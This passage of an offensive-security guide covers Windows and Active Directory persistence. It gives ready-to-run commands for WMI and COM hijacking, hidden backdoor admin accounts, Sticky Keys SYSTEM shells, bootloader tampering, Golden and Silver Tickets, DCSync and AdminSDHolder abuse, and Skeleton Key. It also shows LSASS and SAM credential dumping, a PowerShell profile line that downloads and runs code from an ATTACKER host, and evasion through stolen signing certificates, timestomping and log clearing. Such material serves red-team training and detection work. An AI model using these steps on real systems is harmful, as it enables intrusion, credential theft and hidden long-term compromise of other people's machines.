    -PermanentCommand "C:\Windows\Temp\payload.exe" `
    -Trigger ProcessStart -ProcessName "powershell.exe"

# ─── Sharp-WMIEvent (C# based) ───
.\Sharp-WMIEvent.exe --name WindowsUpdate --command "C:\Temp\payload.exe" --timer 60

# ─── wmipersist.py (from Kali/attacker side via wmiexec) ───
python3 wmipersist.py <target> <user> <pass> install -name WindowsUpdate -command 'cmd /c ...'

9. COM Object Hijacking

COM (Component Object Model) hijacking is a stealthy persistence and privilege escalation technique that works by registering a fake COM object that overrides a legitimate one. When legitimate applications call CoCreateInstance to instantiate that COM object, your DLL is loaded instead.

9.1 How COM Hijacking Works

COM RESOLUTION ORDER:
────────────────────────────────────────────────────────────────────
When a process calls CoCreateInstance({CLSID}):

1. Check HKCU\SOFTWARE\Classes\CLSID\{CLSID}\InprocServer32
   ← USER CAN WRITE HERE WITHOUT ADMIN!

2. Check HKLM\SOFTWARE\Classes\CLSID\{CLSID}\InprocServer32
   ← Requires admin to write

HKCU wins over HKLM → place your DLL in HKCU to hijack the COM object
without admin privileges.

9.2 Finding Hijackable COM Objects

# ─── Find COM objects called by processes but not registered in HKCU ───
# Best done with Procmon:
# Filter: Operation = RegOpenKey, Path contains HKCU\SOFTWARE\Classes\CLSID, Result = NAME NOT FOUND
# These are COM objects where HKCU wins and there's no existing HKCU registration

# ─── Automated: COM hijacking finder scripts ───
# https://github.com/thezdi/PoC/tree/master/CVE-related or manual Procmon filtering

# ─── Check for missing InprocServer32 entries in HKCU ───
Get-ChildItem "HKCU:\SOFTWARE\Classes\CLSID" -ErrorAction SilentlyContinue |
    ForEach-Object {
        $inproc = "$($_.PSPath)\InprocServer32"
        if (-not (Test-Path $inproc)) { $_ }
    }

9.3 Implementing COM Hijacking

:: ─── Register a fake COM object in HKCU (no admin needed) ───
:: Example: Hijacking {B31118B2-1F49-48E5-B6F5-BC21CAEC56FB} (Windows Media Player)

reg add "HKCU\SOFTWARE\Classes\CLSID\{B31118B2-1F49-48E5-B6F5-BC21CAEC56FB}\InprocServer32" ^
    /ve /t REG_SZ /d "C:\Users\Public\malicious.dll" /f

reg add "HKCU\SOFTWARE\Classes\CLSID\{B31118B2-1F49-48E5-B6F5-BC21CAEC56FB}\InprocServer32" ^
    /v "ThreadingModel" /t REG_SZ /d "Apartment" /f

9.4 Commonly Hijacked COM CLSIDs

WELL-KNOWN COM HIJACKING TARGETS:
────────────────────────────────────────────────────────────────────
CLSID                                   Called By             Trigger
─────────────────────────────────────────────────────────────────────
{B31118B2-1F49-48E5-B6F5-BC21CAEC56FB}  Windows Media Player  Media open
{9BA05972-F6A8-11CF-A442-00A0C90A8F39}  ShellWindows          Explorer
{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}  Task Scheduler UI     schtasks
{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}  MMC                  Administrative
{D5153E9A-61F8-43CF-B7E3-5D69E0891E4E}  Windows Defender      On logon

10. Account-Based Persistence

Creating backdoor accounts or modifying existing accounts provides credential-based persistence that survives even if other persistence mechanisms are cleaned.

10.1 Creating Backdoor Local Accounts

:: ─── Create a hidden local admin account ───
net user HelpDesk$ P@ssw0rd123! /add /active:yes
net localgroup Administrators HelpDesk$ /add

:: ─── The $ suffix convention makes the account slightly less visible in net user ───
:: ─── Add to Remote Desktop Users group ───
net localgroup "Remote Desktop Users" HelpDesk$ /add

:: ─── Add to Remote Management Users (WinRM/PSRemoting) ───
net localgroup "Remote Management Users" HelpDesk$ /add

:: ─── Make account not expire ───
net user HelpDesk$ /expires:never
net user HelpDesk$ /passwordchg:no

:: ─── Hide account from logon screen (registry) ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" ^
    /v "HelpDesk$" /t REG_DWORD /d 0 /f
# ─── PowerShell — Create local admin account ───
$Password = ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force
New-LocalUser -Name "HelpDesk$" -Password $Password -PasswordNeverExpires `
    -UserMayNotChangePassword -Description "Windows Help Desk" -AccountNeverExpires
Add-LocalGroupMember -Group "Administrators" -Member "HelpDesk$"
Add-LocalGroupMember -Group "Remote Desktop Users" -Member "HelpDesk$"

# ─── Disable account (use only when needed, activate when needed) ───
Disable-LocalUser -Name "HelpDesk$"
# Re-enable:
Enable-LocalUser -Name "HelpDesk$"

10.2 Adding to Existing Accounts / Shadow Admins

# ─── Add SID history to a domain account (requires DA) ───
# Covered in Active Directory Persistence section

# ─── Add existing user to Administrators silently ───
Add-LocalGroupMember -Group "Administrators" -Member "TargetUser"

# ─── Use net group for domain ───
net group "Domain Admins" HelpDesk$ /add /domain

10.3 Enabling Disabled Built-in Accounts

:: ─── Enable built-in Administrator (often disabled in modern Windows) ───
net user Administrator /active:yes
net user Administrator P@ssw0rd123!

:: ─── Enable Guest account (low-priv, but useful for pivot) ───
net user Guest /active:yes
net user Guest P@ssw0rd!

:: ─── Enable from registry ───
reg add "HKLM\SAM\SAM\Domains\Account\Users\000001F4" /f
:: (Direct SAM editing requires SYSTEM and offline access to SAM)

10.4 SSH Authorized Keys (Windows OpenSSH)

Windows 10/Server 2019+ ship with OpenSSH Server. Adding your public key to authorized keys gives persistent SSH access.

# ─── Enable OpenSSH Server ───
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Start-Service sshd
Set-Service -Name sshd -StartupType Automatic

# ─── Add SSH authorized key ───
# For admin users — global authorized_keys file (takes priority)
$AuthKeysAdminPath = "C:\ProgramData\ssh\administrators_authorized_keys"
Add-Content -Path $AuthKeysAdminPath -Value "ssh-rsa AAAA... attacker@kali"
icacls $AuthKeysAdminPath /inheritance:r /grant "SYSTEM:F" /grant "Administrators:F"

# ─── For standard users ───
$AuthKeysPath = "C:\Users\TargetUser\.ssh\authorized_keys"
New-Item -ItemType Directory -Force -Path "C:\Users\TargetUser\.ssh"
Add-Content -Path $AuthKeysPath -Value "ssh-rsa AAAA... attacker@kali"

11. Accessibility Feature Backdoors

Windows accessibility features (Sticky Keys, Utilman, Narrator etc.) run as SYSTEM on the logon screen without requiring authentication. Replacing them with cmd.exe provides pre-authentication SYSTEM shell access.

11.1 Target Binaries

ACCESSIBILITY BINARIES (run at logon screen as SYSTEM):
────────────────────────────────────────────────────────────────────
C:\Windows\System32\sethc.exe       → Sticky Keys (Shift x5)
C:\Windows\System32\utilman.exe     → Utility Manager (Win+U)
C:\Windows\System32\osk.exe         → On-Screen Keyboard
C:\Windows\System32\narrator.exe    → Narrator (Win+Enter)
C:\Windows\System32\magnify.exe     → Magnifier (Win++)
C:\Windows\System32\displayswitch.exe → Display Switch (Win+P)

11.2 Replace via IFEO (No File Replacement Needed)

This method avoids replacing system binaries (which triggers integrity checks) and instead uses IFEO to launch cmd.exe instead of the accessibility feature.

:: ─── Set cmd.exe as "debugger" for Sticky Keys ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" ^
    /v "Debugger" /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f

:: ─── Set cmd.exe for Utility Manager ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" ^
    /v "Debugger" /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f

:: ─── Trigger: On Windows logon screen, press Shift x5 (Sticky Keys)
:: → cmd.exe opens as SYSTEM with NO authentication required

11.3 Replace Binary (Classic Method — requires offline or SYSTEM)

:: ─── Requires: SYSTEM access (boot from USB, or already SYSTEM) ───
:: ─── Take ownership and replace ───
takeown /f C:\Windows\System32\sethc.exe /a
icacls C:\Windows\System32\sethc.exe /grant Administrators:F
copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc.exe.bak
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

:: ─── Same for utilman ───
takeown /f C:\Windows\System32\utilman.exe /a
icacls C:\Windows\System32\utilman.exe /grant Administrators:F
copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.exe.bak
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

TIP: This works even on RDP sessions. Connect via RDP, reach the logon screen, then press Shift x5 (or Win+U) for a SYSTEM shell without credentials.


12. Boot & Pre-OS Persistence

These techniques operate below the OS layer and are the most difficult to detect and remove. They are used by advanced persistent threats and rootkits.

12.1 Master Boot Record (MBR) Persistence

The MBR is the first sector of a bootable disk. Overwriting it with malicious code creates boot-level persistence.

MBR ATTACK FLOW:
────────────────────────────────────────────────────────────────────
System Power On → BIOS/UEFI reads MBR → MBR code executes → 
Malicious code runs → Loads real bootloader → Windows boots normally
(Rootkit is already active in memory before Windows starts)
KNOWN MBR BOOTKITS:
  - TDL4 (Alureon)
  - Necurs
  - Shamoon
  - Petya / NotPetya (weaponized, not for persistence — destroys MBR)

Tools (for testing in controlled labs only):
  - BootSect.exe (Windows built-in)
  - dd (Linux) to backup/restore MBR
# ─── Backup MBR (Linux, for lab use) ───
dd if=/dev/sda of=/tmp/mbr_backup.bin bs=512 count=1

# ─── Restore MBR ───
dd if=/tmp/mbr_backup.bin of=/dev/sda bs=512 count=1

12.2 UEFI/EFI Persistence (Bootkit)

UEFI persistence survives OS reinstalls, disk wipes, and most security tooling. It lives in the UEFI firmware or EFI System Partition (ESP).

UEFI PERSISTENCE TIERS:
────────────────────────────────────────────────────────────────────
1. EFI System Partition (ESP) implant
   → Malicious .efi binary in /EFI/<vendor>/ on the ESP
   → Survives: OS reinstall, disk format (if ESP preserved)
   → Removed by: formatting ESP, Secure Boot enforcement

2. UEFI firmware implant
   → Modified UEFI ROM on motherboard
   → Survives: OS reinstall, disk format, BIOS factory reset
   → Removed by: physical motherboard replacement, specific flash
   → Requires: physical access OR BIOS firmware update vulnerability
REAL-WORLD UEFI IMPLANTS (APT reference):
  - MosaicRegressor (2020, APT41-linked)
  - FinSpy UEFI bootkit (commercial spyware)
  - CosmicStrand (2022, attribution unclear)
  - BlackLotus (2023, first publicly known UEFI bootkit defeating Secure Boot on Windows 11)
# ─── Check if Secure Boot is enabled ───
Confirm-SecureBootUEFI   # Returns True/False

# ─── Check EFI boot entries ───
bcdedit /enum firmware

# ─── List EFI System Partition contents ───
mountvol X: /s     # Mount ESP to X:
dir X:\EFI\

12.3 Bootloader Manipulation

:: ─── View current boot configuration ───
bcdedit /enum all

:: ─── Add a boot entry pointing to a malicious binary ───
bcdedit /copy {current} /d "Windows Diagnostic Mode"
bcdedit /set {<new-GUID>} path \EFI\Microsoft\Boot\malicious.efi
bcdedit /set {<new-GUID>} description "Windows Diagnostic Mode"

:: ─── Set as default boot option ───
bcdedit /default {<new-GUID>}

13. Active Directory Persistence

Once Domain Admin or equivalent access is obtained, AD-level persistence provides access that survives complete OS reinstalls of member machines and persists across the entire domain.

13.1 Golden Ticket

A Golden Ticket is a forged Kerberos TGT (Ticket Granting Ticket) created using the krbtgt account's NTLM hash. It can impersonate any account in the domain, including Domain Admins, for the lifetime of the ticket (default 10 years when forged, but krbtgt password change invalidates all existing tickets).

REQUIREMENTS:
────────────────────────────────────────────────────────────────────
- krbtgt account NTLM hash
- Domain SID
- Target username (can be any, even non-existent!)
- Domain FQDN
# ─── Step 1: Get krbtgt hash and domain info ───
# Via Mimikatz (requires DA or SYSTEM on DC):
mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch
# OR via DCSync (no local access to DC needed):
mimikatz # lsadump::dcsync /user:krbtgt

# ─── Step 2: Get Domain SID ───
whoami /user     # SID format: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-<RID>
# Domain SID = everything except the last -XXXX portion

# ─── Step 3: Create Golden Ticket ───
mimikatz # kerberos::golden /user:Administrator /domain:corp.local `
    /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX `
    /krbtgt:<NT_HASH> /ticket:golden.kirbi

# ─── Step 4: Inject ticket ───
mimikatz # kerberos::ptt golden.kirbi

# ─── Or use Rubeus ───
.\Rubeus.exe golden /user:Administrator /domain:corp.local `
    /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX `
    /rc4:<krbtgt_NT_HASH> /ptt

# ─── Verify ───
klist
dir \\DC01.corp.local\c$

13.2 Silver Ticket

A Silver Ticket is a forged Kerberos TGS (service ticket) for a specific service. It does not touch the KDC during use and is therefore harder to detect. It persists as long as the service account password remains the same.

REQUIREMENTS:
────────────────────────────────────────────────────────────────────
- Service account NTLM hash (machine account or service account)
- Domain SID
- SPN of the target service
# ─── Create Silver Ticket for CIFS (file sharing) on DC01 ───
mimikatz # kerberos::golden /user:Administrator /domain:corp.local `
    /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX `
    /target:DC01.corp.local /service:cifs `
    /rc4:<DC01_MACHINE_ACCOUNT_HASH> /ticket:silver.kirbi

mimikatz # kerberos::ptt silver.kirbi

# ─── Common SPN targets for Silver Tickets ───
# cifs    → File system access (dir \\server\c$)
# http    → IIS/web access
# ldap    → LDAP queries (DCSync-like)
# host    → Remote management, tasks
# rpcss   → RPC services
# mssqlsvc → SQL Server access

# ─── Rubeus silver ticket ───
.\Rubeus.exe silver /user:Administrator /domain:corp.local `
    /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX `
    /target:DC01.corp.local /service:cifs `
    /rc4:<HASH> /ptt

13.3 DCSync Privilege — Persistent DA Rights Without DA Group Membership

Grant DCSync rights to a controlled account so you can run DCSync (dump all hashes) without being in Domain Admins. This is a "shadow DA" technique.

# ─── Grant DCSync rights via PowerView ───
Import-Module .\PowerView.ps1

# Grant DCSync to a controlled user (requires current DA access)
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" `
    -PrincipalIdentity "BackdoorUser" `
    -Rights DCSync -Verbose

# ─── Verify with BloodHound or manually ───
Get-DomainObjectAcl -Identity "DC=corp,DC=local" -ResolveGUIDs |
    Where-Object { $_.IdentityReferenceName -eq "BackdoorUser" }

# ─── Later — run DCSync with the backdoor user ───
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt /dc:DC01.corp.local
.\Rubeus.exe dcsync /domain:corp.local /user:krbtgt

13.4 AdminSDHolder Abuse

AdminSDHolder is a template object in AD that periodically (every 60 minutes by default) re-applies its DACL to all protected groups (Domain Admins, Schema Admins, etc.). By adding a backdoor ACE to AdminSDHolder, you ensure persistent ACL rights on all high-value groups.

# ─── Add Full Control ACE on AdminSDHolder for backdoor user ───
Import-Module .\PowerView.ps1

Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" `
    -PrincipalIdentity "BackdoorUser" -Rights All -Verbose

# ─── Force immediate SDProp propagation (instead of waiting 60 min) ───
# Via PowerShell:
$Domain = [ADSI]"LDAP://DC=corp,DC=local"
$SDProp = $Domain.psbase.Children | Where-Object { $_.Name -eq "AdminSDHolder" }

# Via Impacket:
python3 dacledit.py corp.local/DA_User:Password@DC01 -action write `
    -rights FullControl -principal BackdoorUser `
    -target "CN=AdminSDHolder,CN=System,DC=corp,DC=local"

After propagation (up to 60 min or forced), BackdoorUser will have Full Control over Domain Admins, Schema Admins, etc. This means you can add yourself back to DA at any time.

13.5 DSRM Account

The Directory Services Restore Mode (DSRM) account is a local administrator account on every Domain Controller with a separately set password. Enabling it for network logon provides a persistent DA-equivalent backdoor on the DC.

# ─── Get DSRM account hash ───
mimikatz # lsadump::sam     # On the DC — dumps local SAM including DSRM

# ─── Enable DSRM account for network logon (requires admin on DC) ───
# Set DsrmAdminLogonBehavior to 2 (allow network logon)
New-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
    -Name DsrmAdminLogonBehavior -Value 2 -PropertyType DWORD -Force

# ─── Now pass-the-hash with DSRM account ───
# Username: Administrator (local to DC — use .\Administrator or DC01\Administrator)
# Hash: DSRM NTLM hash from SAM dump
mimikatz # sekurlsa::pth /user:Administrator /domain:DC01 /ntlm:<DSRM_HASH> /run:powershell

13.6 Skeleton Key

A Skeleton Key is an in-memory patch to LSASS on the DC that allows ANY user to authenticate with a universal master password while their real password continues to work normally. It does NOT persist across reboots.

# ─── Inject Skeleton Key into DC LSASS (requires DA + SYSTEM on DC) ───
mimikatz # privilege::debug
mimikatz # misc::skeleton
# Default master password: mimikatz

# ─── Any domain user can now authenticate with master password ───
# Real password still works
# Master password (mimikatz) also works
# After DC reboot, Skeleton Key is gone

# ─── For reboot persistence: combine with service or scheduled task on DC ───
# e.g., schtasks on DC that re-runs mimikatz misc::skeleton on startup

13.7 SID History Injection

Injecting Domain Admin SID into a regular user's SID History attribute gives that user effective DA rights without appearing in the Domain Admins group.

# ─── Inject DA SID into backdoor user's SIDHistory ───
# Requires DA access
Import-Module .\PowerView.ps1

# Get Domain Admin SID
$DaSID = (Get-DomainGroup "Domain Admins").objectsid

# Inject SID history (requires mimikatz sid::patch first)
mimikatz # privilege::debug
mimikatz # sid::patch
mimikatz # sid::add /sid:<DA_SID> /sam:BackdoorUser

# ─── Verify ───
Get-DomainUser BackdoorUser | Select-Object -ExpandProperty sidhistory

14. Credential-Based Persistence

Harvesting and storing credentials from the compromised system enables persistent access through authentication rather than code execution.

14.1 Dumping LSA Secrets

LSA Secrets store service account credentials, domain machine account passwords, and cached domain credentials.

# ─── Dump LSA Secrets (requires SYSTEM) ───
mimikatz # lsadump::secrets

# ─── Impacket ───
python3 secretsdump.py corp.local/DA_User:Password@TargetHost

# ─── CrackMapExec / NetExec ───
nxc smb <target> -u DA_User -p Password --lsa

14.2 Credential Dumping for Persistent Access

# ─── LSASS dump ───
# Mimikatz:
mimikatz # sekurlsa::logonpasswords

# Task Manager method (SYSTEM required):
# Task Manager → Details → lsass.exe → Create Dump File

# ProcDump:
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp
# Analyze offline on Kali:
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

# ─── Shadow Copy / Volume Shadow to extract SAM/SYSTEM ───
vssadmin create shadow /for=C:
# Find shadow copy path:
vssadmin list shadows
# Copy SAM and SYSTEM hive from shadow:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\
# Extract on Kali:
python3 secretsdump.py -sam SAM -system SYSTEM LOCAL

14.3 Credential Manager Persistence

Windows Credential Manager stores saved credentials for websites, network shares, and RDP. Adding attacker-controlled credentials here can facilitate lateral movement.

:: ─── List saved credentials ───
cmdkey /list

:: ─── Add a credential entry (for persistence or impersonation) ───
cmdkey /add:TargetServer /user:Administrator /pass:P@ssw0rd

:: ─── Use with runas ───
runas /savedcredentials /user:Administrator cmd.exe

:: ─── Dump via Mimikatz ───
mimikatz # vault::list
mimikatz # vault::cred

15. AppInit DLLs & LSA Notification Packages

15.1 AppInit DLLs

AppInit DLLs are loaded into every process that loads user32.dll — which is essentially every GUI process. This provides extremely broad code execution across all user-facing applications.

KEY: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
Values:
  AppInit_DLLs    → REG_SZ  → Comma-separated DLL paths
  LoadAppInit_DLLs→ REG_DWORD → 1 to enable, 0 to disable
  RequireSignedAppInit_DLLs → REG_DWORD → 1 = code signing required (blocks this)
:: ─── Enable AppInit DLL persistence ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" ^
    /v "AppInit_DLLs" /t REG_SZ /d "C:\Windows\System32\malicious.dll" /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" ^
    /v "LoadAppInit_DLLs" /t REG_DWORD /d 1 /f

:: ─── Disable requirement for signed DLLs (if Secure Boot is off) ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" ^
    /v "RequireSignedAppInit_DLLs" /t REG_DWORD /d 0 /f

NOTE: On systems with Secure Boot enabled, RequireSignedAppInit_DLLs is automatically set to 1 and unsigned DLLs are rejected.

15.2 LSA Authentication Packages

LSA notification packages are DLLs loaded by LSASS that receive notification callbacks on user authentication events (password changes, logon/logoff). This is used by key loggers and credential stealers.

KEY: HKLM\SYSTEM\CurrentControlSet\Control\Lsa
Values:
  Notification Packages  → REG_MULTI_SZ → List of DLL names (without .dll extension)
  Authentication Packages → REG_MULTI_SZ → List of auth provider DLLs
  Security Packages       → REG_MULTI_SZ → List of security package DLLs
:: ─── View current values ───
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages"

:: ─── Add malicious package (DLL must be placed in System32 and export specific functions) ───
:: The DLL must export: SpInitialize, SpShutdown, SpGetInfo, SpGetExtendedInformation
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" ^
    /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0malicious" /f

The malicious DLL must be in C:\Windows\System32\ and implement the Security Support Provider (SSP) interface. This requires a reboot to take effect.


16. Print Monitor & Port Monitor DLLs

Print Monitors and Port Monitors are DLLs loaded by the Spooler service (running as SYSTEM). This is a legitimate extension mechanism abused for persistence.

KEYS:
Print Monitor:
  HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\<MonitorName>
  Value: Driver = <dll_name_without_path>
  DLL must be in: C:\Windows\System32\

Port Monitor:
  HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\<MonitorName>
  (same location, same mechanism)
:: ─── Copy DLL to System32 ───
copy C:\Windows\Temp\malicious.dll C:\Windows\System32\printmon.dll

:: ─── Register as print monitor ───
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\WindowsMonitor" ^
    /v "Driver" /t REG_SZ /d "printmon.dll" /f

:: ─── Spooler service must restart (or system reboot) for DLL to load ───
net stop spooler && net start spooler

DLL runs as SYSTEM (Spooler context). Must export: InitializePrintMonitor2.


17. Office & Application Macros

17.1 Office Template Persistence (Word Normal.dotm)

The Normal.dotm file is the default template loaded by Microsoft Word whenever it starts. Adding a macro to Normal.dotm executes code every time Word is opened.

NORMAL.DOTM LOCATION:
  C:\Users\<user>\AppData\Roaming\Microsoft\Templates\Normal.dotm
' VBA Macro in Normal.dotm — executes on Word startup
Private Sub Document_Open()
    Dim Shell As Object
    Set Shell = CreateObject("WScript.Shell")
    Shell.Run "cmd.exe /c C:\Windows\Temp\payload.exe", 0, False
End Sub

' Alternative — Document_New triggers on new document creation
Private Sub Document_New()
    CreateObject("WScript.Shell").Run "powershell -enc <BASE64>", 0
End Sub

17.2 Excel Personal Workbook (PERSONAL.XLSB)

The Excel personal macro workbook loads automatically whenever Excel starts.

LOCATION:
  C:\Users\<user>\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB

17.3 Add-Ins and COM Add-Ins

Office add-ins load when the application starts, providing persistent code execution in the context of the Office application's user.

REGISTRY KEYS FOR OFFICE ADD-INS:
  HKCU\SOFTWARE\Microsoft\Office\<version>\Word\Addins\
  HKCU\SOFTWARE\Microsoft\Office\<version>\Excel\Addins\
  HKLM\SOFTWARE\Microsoft\Office\<version>\Word\Addins\

Required Values:
  FriendlyName  → REG_SZ   → Display name
  LoadBehavior  → REG_DWORD → 3 = load at startup
  Manifest      → REG_SZ   → Path to add-in manifest or DLL

18. Browser Extensions & Credential Stores

18.1 Malicious Browser Extension

Browser extensions can persist in the browser profile and access passwords, cookies, and browsing history.

CHROME EXTENSION STORAGE:
  C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Extensions\

EDGE EXTENSION STORAGE:
  C:\Users\<user>\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\

FIREFOX EXTENSION STORAGE:
  C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile>\extensions\
# ─── Enumerate installed Chrome extensions ───
$ExtPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions"
Get-ChildItem $ExtPath | ForEach-Object {
    $manifest = "$($_.FullName)\*\manifest.json"
    $manifests = Get-ChildItem $manifest -ErrorAction SilentlyContinue
    foreach ($m in $manifests) {
        $content = Get-Content $m.FullName -Raw | ConvertFrom-Json -ErrorAction SilentlyContinue
        [PSCustomObject]@{ ID = $_.Name; Name = $content.name; Version = $content.version }
    }
} | Format-Table -AutoSize

18.2 Credential Store Enumeration

# ─── Chrome saved passwords (user must not have sync with Google Account enabled) ───
# Stored at: C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Login Data
# This is a SQLite database encrypted with DPAPI

# ─── LaZagne (all credential stores) ───
.\LaZagne.exe all
.\LaZagne.exe browsers
.\LaZagne.exe windows    # Windows Credential Manager

# ─── SharpWeb (Chrome/Firefox/Edge creds) ───
.\SharpWeb.exe

# ─── Dump Chrome passwords via Mimikatz ───
mimikatz # dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect

19. Living-off-the-Land (LOLBin) Persistence

LOLBin persistence uses built-in Windows binaries to avoid dropping additional executables. This significantly reduces the footprint and evades signature-based detection.

19.1 PowerShell Profile

The PowerShell profile (profile.ps1) is executed every time PowerShell starts. Adding code to it creates persistence that triggers on any PowerShell execution.

PROFILE LOCATIONS (loaded in order):
────────────────────────────────────────────────────────────────────
$PSHOME\Profile.ps1             → All users, all hosts
$PSHOME\Microsoft.PowerShell_profile.ps1 → All users, PowerShell console only
$HOME\Documents\PowerShell\Profile.ps1   → Current user, all hosts
$HOME\Documents\PowerShell\Microsoft.PowerShell_profile.ps1 → Current user, console
# ─── View profile paths ───
$PROFILE | Select-Object *

# ─── Add payload to current user profile ───
$payload = "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')"
Add-Content -Path $PROFILE.CurrentUserAllHosts -Value $payload

# ─── Or write directly ───
"Start-Process C:\Windows\Temp\payload.exe -WindowStyle Hidden" |
    Out-File -Append -FilePath $PROFILE.AllUsersAllHosts -Encoding utf8

# ─── View current profile content ───
Get-Content $PROFILE -ErrorAction SilentlyContinue

19.2 Netsh Helper DLL

netsh.exe supports loading helper DLLs. This DLL is loaded whenever netsh.exe runs.

KEY: HKLM\SOFTWARE\Microsoft\NetSh
Value: <helper_name> = <dll_path>
:: ─── Register a netsh helper DLL ───
netsh add helper C:\Windows\System32\netshpersist.dll

:: ─── Or via registry ───
reg add "HKLM\SOFTWARE\Microsoft\NetSh" ^
    /v "NetworkDiagHelper" /t REG_SZ /d "C:\Windows\System32\netshpersist.dll" /f

19.3 Mshta, Wscript, Cscript Autoruns

:: ─── Use mshta in run key for script execution (fileless-ish) ───
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ^
    /v "WindowsCheck" /t REG_SZ ^
    /d "mshta.exe vbscript:Execute(\"CreateObject(\"\"WScript.Shell\"\").Run \"\"cmd.exe /c payload.exe\"\",0:close\")" /f

:: ─── Wscript running a remote script ───
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ^
    /v "SystemCheck" /t REG_SZ ^
    /d "wscript.exe //B //Nologo C:\Users\Public\run.vbs" /f

19.4 MSDTC / MSDTClog Abuse

MSDTC (Microsoft Distributed Transaction Coordinator) loads DLLs from a configurable path.

KEY: HKLM\SOFTWARE\Microsoft\MSDTC\MTxOCI
Values: OracleOciLib, OracleSqlLib, OracleXaLib → DLL paths (can be hijacked)
reg add "HKLM\SOFTWARE\Microsoft\MSDTC\MTxOCI" ^
    /v "OracleOciLib" /t REG_SZ /d "C:\Windows\System32\malicious.dll" /f

:: ─── Restart MSDTC to load ───
net stop msdtc && net start msdtc

19.5 RDP Shadowing for Persistence (Legitimate Feature Abuse)

:: ─── Enable RDP ───
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

:: ─── Enable restricted admin mode (allows pass-the-hash via RDP) ───
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

:: ─── RDP pass-the-hash (from Kali) ───
xfreerdp /u:Administrator /pth:<NT_HASH> /v:<target_ip> /cert-ignore

20. Detection Evasion & Cleanup Considerations

20.1 General Evasion Principles

EVASION PRINCIPLES FOR PERSISTENCE:
────────────────────────────────────────────────────────────────────
1. NAME MIMICRY     → Use names identical or similar to legitimate Windows components
                      (MicrosoftEdgeUpdate, WindowsDefenderService, etc.)

2. PATH CHOICE      → Place payloads in directories that contain many binaries
                      (C:\Windows\System32\, C:\Windows\SysWOW64\, C:\ProgramData\)
                      Avoid: C:\Temp\, C:\Users\Public\ (suspicious, monitored)

3. SIGNATURE ABUSE  → Sign your payload using:
                      a. Stolen code-signing certificate
                      b. Binary stuffing (appending to a signed binary)
                      c. Catalog-signed binary replacement

4. TIMESTAMPS       → Timestomp the payload binary to match system file dates
                      powershell: (Get-Item .\payload.exe).LastWriteTime = "01/01/2020 09:00:00"

5. LOG EVASION      → Clear relevant logs after installing persistence
                      (see cleanup section below)

6. TRIGGER CHOICE   → Avoid high-frequency triggers (every minute) as they generate
                      obvious process creation events. Prefer boot/logon triggers.

7. FILELESS WHERE   → Prefer WMI subscriptions, registry-encoded scripts, and
   POSSIBLE           reflective DLL loading over dropping files to disk.

20.2 Timestomping

# ─── Match timestamps of a reference file ───
$ref = Get-Item "C:\Windows\System32\ntdll.dll"
$target = Get-Item "C:\Windows\System32\payload.exe"

$target.CreationTime    = $ref.CreationTime
$target.LastWriteTime   = $ref.LastWriteTime
